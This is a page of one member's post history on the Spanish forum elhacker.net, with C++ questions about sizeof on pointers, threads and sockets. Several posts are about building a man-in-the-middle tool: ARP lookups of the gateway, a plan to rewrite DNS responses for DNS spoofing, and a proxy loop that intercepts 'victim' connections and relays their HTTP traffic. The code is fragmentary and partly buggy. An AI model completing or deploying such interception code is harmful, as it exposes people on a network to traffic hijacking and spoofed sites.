elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Mensajes
Páginas: 1 ... 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [31] 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 ... 77
301  Programación / Programación C/C++ / Re: La broma del sizeof(mac) en: 3 Octubre 2015, 15:21 pm
Ahh vale, estaba cambiandolo por variables estaticas u_char[6] etc, pero no creo que sea buena idea, ¿como puedo hacer para que me diga el tamaño de lo que apunta el puntero? XP porque con sizeof(*mac) me sale uno el primer elemento, pero para que me diga el tamaño de todos como se puede hacer?.

Gracias como siempre, un saludo.

Edito: Parece que no se puede, hay que hacer una variable estatica y pasar su dirección al puntero, luego ¿la unica solucion es multiplicar por 2 las variables declaradas?.

porque ahora habra:

Código
  1. u_char mac[6]; u_char *pmac; pmac = &(mac[0]); ...

Y me parece una caca tremenda XD.

Bueno parece que sustituyendo los punteros por esto:

Código
  1. &(mac_gateway[0])

Se soluciona parcialmente el problema, pero esto no lo consigo solucionar:

Código
  1. &(ip_atacante[0]) = (u_char*)&num_atacante;

ERROR: La expresion debe tener valor L modificable.

Solución:

Código
  1. memcpy(&(ip_atacante[0]), (u_char*)&num_atacante, sizeof(u_char)* 4);
  2. memcpy(&(ip_gateway[0]), (u_char*)&num_gateway, sizeof(u_char)* 4);
  3. memcpy(&(mac_atacante[0]), (u_char*)adaptador->Address, sizeof(u_char)* 6);

Así funciona, ¿os parece  buena idea? O es mala calidad de código?
302  Programación / Programación C/C++ / Re: La broma del sizeof(mac) en: 3 Octubre 2015, 15:01 pm
No, es de 64 bits
303  Programación / Programación C/C++ / La broma del sizeof(mac) en: 3 Octubre 2015, 13:47 pm
Resulta que al hacer sizeof(mac), obtengo 4 bytes, cuando una mac tiene 6 bytes, uno para cada u_char si no me equivoco.

Código
  1. u_char *mac_gateway = new u_char[6]();
  2.  
  3. u_long num_gateway = inet_addr(adaptador->GatewayList.IpAddress.String);
  4.  
  5.  
  6. if (num_gateway == INADDR_NONE){
  7. Sleep(REINTENTAR_MITM * 1000);
  8. continue;
  9. }
  10.  
  11. if (!enviar_arp(adaptador->GatewayList.IpAddress.String,
  12. adaptador->IpAddressList.IpAddress.String, mac_gateway)){
  13. Sleep(REINTENTAR_MITM/2 * 1000);
  14. continue;
  15. }
  16.  
  17. for (int i = 0; i < 6; i++)
  18. printf("%d=%x ", i,mac_gateway[i]);
  19.  
  20. system("pause");
  21.  
  22. for (int i = 0; i < 4; i++)
  23. printf("%d=%x ", i, ip_gateway[i]);
  24. system("pause");
  25. cout << sizeof(mac_gateway) << sizeof(mac_atacante);

Me salen que todas las macs tienen 4 bytes WTF, la ip son 4 bytes, pero las macs no se supone que tienen 6?.

Me he quedado un poco loco con esto. Haber si sabéis algo.

Gracias, un saludo.

Edito: Que broma es esta:

Código
  1. u_char *mac = new u_char[500]();
  2. cout << sizeof(mac);
Citar
4
304  Programación / Programación C/C++ / Re: Threads y travesuras en C++ en: 3 Octubre 2015, 13:42 pm
Hola ivancea, gracias por la respuesta era justo lo que quería saber, no estaba seguro de que creará los subthreads pues en el administrador de tareas no aparecen que es donde los buscaba, y hasta ahora desconocia que existía el monitor de recursos.

Saludos.
305  Comunicaciones / Redes / Calcular tamaño campos paquete DNS en: 1 Octubre 2015, 21:10 pm
Hola a todos, necesito hacer 2 cosas con los paquetes dns response.

Primera: modificar todos sus campos de ip, para poder hacer dns spoofing, para ello hay que saber en que posición están los bytes de las ips.

Segunda: obtener el dominio que contienen y la ip real del mismo. Para ello necesito saber donde estan los bytes del dominio y de la ip real.

Con el wireshark he ido probando y es bastante jodido. De momento solo quiero extraer el dominio y la ip que me da el dns response, puede haber más de uno, y cada campo con distintos tamaños (locura).

(C++): En construcción.. A ver quien consigue calcularme el tamaño de cada query y response dns.

Saludos.

Edito: Lo que me rompió los esquemas fueron las "answers", que parecía que siempre tenían 16 bytes, hasta que pumm, había una que incluía el dominio en ella, me refiero al atributo CNAME: ... ,entonces todo se vino abajo. ¿se puede saber si van a incluir el dominio o no? Se puede observar que solo la primera answer lleva el CNAME, las demás no, es como resolver una ecuación de 100 incognitas XD.

Edito: Quizás este proyecto pueda ayudarme:

https://github.com/maurotfilho/dns-spoof/blob/master/dns-spoof.c
306  Programación / Programación C/C++ / Re: Threads y travesuras en C++ en: 1 Octubre 2015, 20:27 pm
Ya se a que "threads" te refieres y no son los "autenticos", ya que la clase thread no me crea un subthread.

He creado threads en C# y al ver mi app corriendo en el administrador de tareas me salian varios subthreads (los que había creado).

Sin embargo con C++ hice la prueba de hacer varias clases threads que ejecutaran funciones como en C# hacían y en el administrador de tareas no salía más que uno, y ningún subthread.

Luego la clase thread es lo mismo que auto x = async()... etc que ejecutan un poco uno y luego el otro y así, y no son thread al menos a los que me refiero. Si hay varios de esos el programa no daria a basto necesita un subproceso, otro programa independiente para no cargar tanto el proceso en ejecucion, dividirlo en varios procesos.

Saludos

Parece que esto es a lo que me refería:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms682516(v=vs.85).aspx

Saludos.
307  Programación / Programación C/C++ / Re: Clientes/servidores y threads en: 1 Octubre 2015, 11:13 am
Jajaja la muerte.

Código
  1. if ((victima = accept(servidor, (struct sockaddr*)&addr, &len)) == INVALID_SOCKET){
  2. closesocket(victima);
  3. Sleep(100);
  4. continue;
  5. }

Despues de esto (la conexión) podría abrir un thread pasando el socket "victima", y que interactue con el. Y haga lo demás que hay en el bucle en el otro thread.

Luego al acabar el proceso ese thread moriría.

También para colmo tengo que ir a la lista (con el ** mutex) y obtener el ultimo dominio que redirigí al usuario pues cuando llega la petición al server y la voy a reenviar no tengo ni la ip destino correcta ni el dominio en el paquete, luego... tengo que pasarselo de la lista, muchos subthreads, muchos mutex, muerte y destrucción jajaja.

Cada vez lo veo menos viable, pero no se me ocurre otra manera de reestructurarlo.

Saludos.
308  Programación / Programación C/C++ / Clientes/servidores y threads en: 1 Octubre 2015, 10:01 am
Hola, tengo un problema con el MITM, cuando las victimas se van a conectar a mi servidor el servidor recibe la respuesta y reenvia la petición al servidor destino a través de un send(), luego recibe la respuesta de ese servidor y la reenvía la víctima tal cual.

El problema es que cuando haya 30 víctimas ¿como tendré que programar esto?, ¿tendría que crear un subproceso para cada cliente conectado al servidor? ¿sería viable? ¿alguna otra posible solución?.

Os dejo el code, que cambiaríais??.

Código
  1. while (*on_mitm){
  2.  
  3. int victima;
  4. sockaddr_in addr;
  5. addr.sin_family = AF_INET;
  6. int len = sizeof(addr);
  7.  
  8. if ((victima = accept(servidor, (struct sockaddr*)&addr, &len)) == INVALID_SOCKET){
  9. closesocket(victima);
  10. Sleep(100);
  11. continue;
  12. }
  13. else{
  14. cout << "conectadoo";
  15. setsockopt(victima, SOL_SOCKET, SO_RCVTIMEO, (char*)&tiempo_espera, sizeof(timeval));
  16. setsockopt(victima, SOL_SOCKET, SO_SNDTIMEO, (char*)&tiempo_espera, sizeof(timeval));
  17.  
  18. u_char *ip_victima = new u_char[4]();
  19. u_long num_victima = inet_addr(inet_ntoa(addr.sin_addr));
  20.  
  21. if (num_victima == INADDR_NONE){
  22. closesocket(victima);
  23. Sleep(100);
  24. break;
  25. }
  26.  
  27. ip_victima = (u_char*)&num_victima;//busco en la lista ultima.
  28.  
  29. string respuesta;
  30. char *bloque = new char[3000]();
  31. setsockopt(victima, SOL_SOCKET, SO_RCVTIMEO, (char*)&tiempo_espera, sizeof(timeval));
  32. while (int res = recv(victima, bloque, 3000, 0) > 0)
  33. respuesta += string(bloque);
  34.  
  35. cout << "recibido";
  36. if (respuesta.length() == 0){
  37. closesocket(victima);
  38. Sleep(100);
  39. break;
  40. }
  41.  
  42. int cliente;
  43. sockaddr_in cli_local;
  44.  
  45. cout << respuesta << endl;
  46. respuesta = eliminar_encoding(respuesta, true);
  47. cout << respuesta << endl;
  48.  
  49. if ((cliente = socket(AF_INET, SOCK_STREAM, 0)) == SOCKET_ERROR){
  50. cout << "falla socket" << GetLastError();
  51. Sleep(REINTENTAR_PROXY * 1000);
  52. continue;
  53. }
  54.  
  55. cli_local.sin_family = AF_INET;
  56. cli_local.sin_port = htons(80);
  57. cli_local.sin_addr.s_addr = inet_addr("217.160.43.9");
  58.  
  59. if (connect(cliente, (struct sockaddr*)&cli_local, sizeof(cli_local)) == SOCKET_ERROR){
  60. cout << "error conectar" << GetLastError();
  61. closesocket(cliente);
  62. }
  63. else{
  64. if (send(cliente, respuesta.c_str(), respuesta.length(), 0) == SOCKET_ERROR){
  65. cout << "error enviar" << GetLastError();
  66. closesocket(cliente);
  67. }
  68. else{
  69. respuesta = "";
  70. while (recv(cliente, bloque, 3000, 0) > 0)
  71. respuesta += string(bloque);
  72.  
  73. if (respuesta.length() == 0){
  74. closesocket(cliente);
  75. closesocket(victima);
  76. Sleep(100);
  77. break;
  78. }
  79.  
  80. cout << "respuesta server: " << respuesta << endl;
  81. respuesta = eliminar_encoding(respuesta, false);
  82. cout << respuesta << endl;
  83.  
  84. if (send(victima, respuesta.c_str(), respuesta.length(), 0) == SOCKET_ERROR)
  85. cout << "fallo reenvio a cliente " << GetLastError();
  86. else
  87. cout << "se envio al cliente";
  88. }
  89. }
  90. }
  91. Sleep(100);
  92. }

Saludos.
309  Programación / Programación C/C++ / Re: Threads y travesuras en C++ en: 1 Octubre 2015, 09:55 am
Si eso hago todas las funciones y subthreads que usan la lista de usuarios que es comun a todas ellas las corro en una función, donde la lista de usuarios es un atributo.

Cuando alguien la modifica antes de eso llamo al mutex, pero es un lío horrible, a veces va mejor cuando no pongo mutex XD.

Busqué acerca de los auténticos threads y los encontré:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx

Pero no es exactamente lo que pensaba, ¿como puedo ejecutar una función de mi programa en otro proceso aparte?, ¿algúen ejemplo?.

Gracias, saludos.
310  Programación / Programación C/C++ / Re: ¿Recv() porque tarda infinito? ... en: 29 Septiembre 2015, 14:46 pm
Si es correcto.

Ya solo sería configurar el timeout  de descarga recv() y subida send() para cada red.
 
Saludos.
Páginas: 1 ... 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [31] 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 ... 77
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines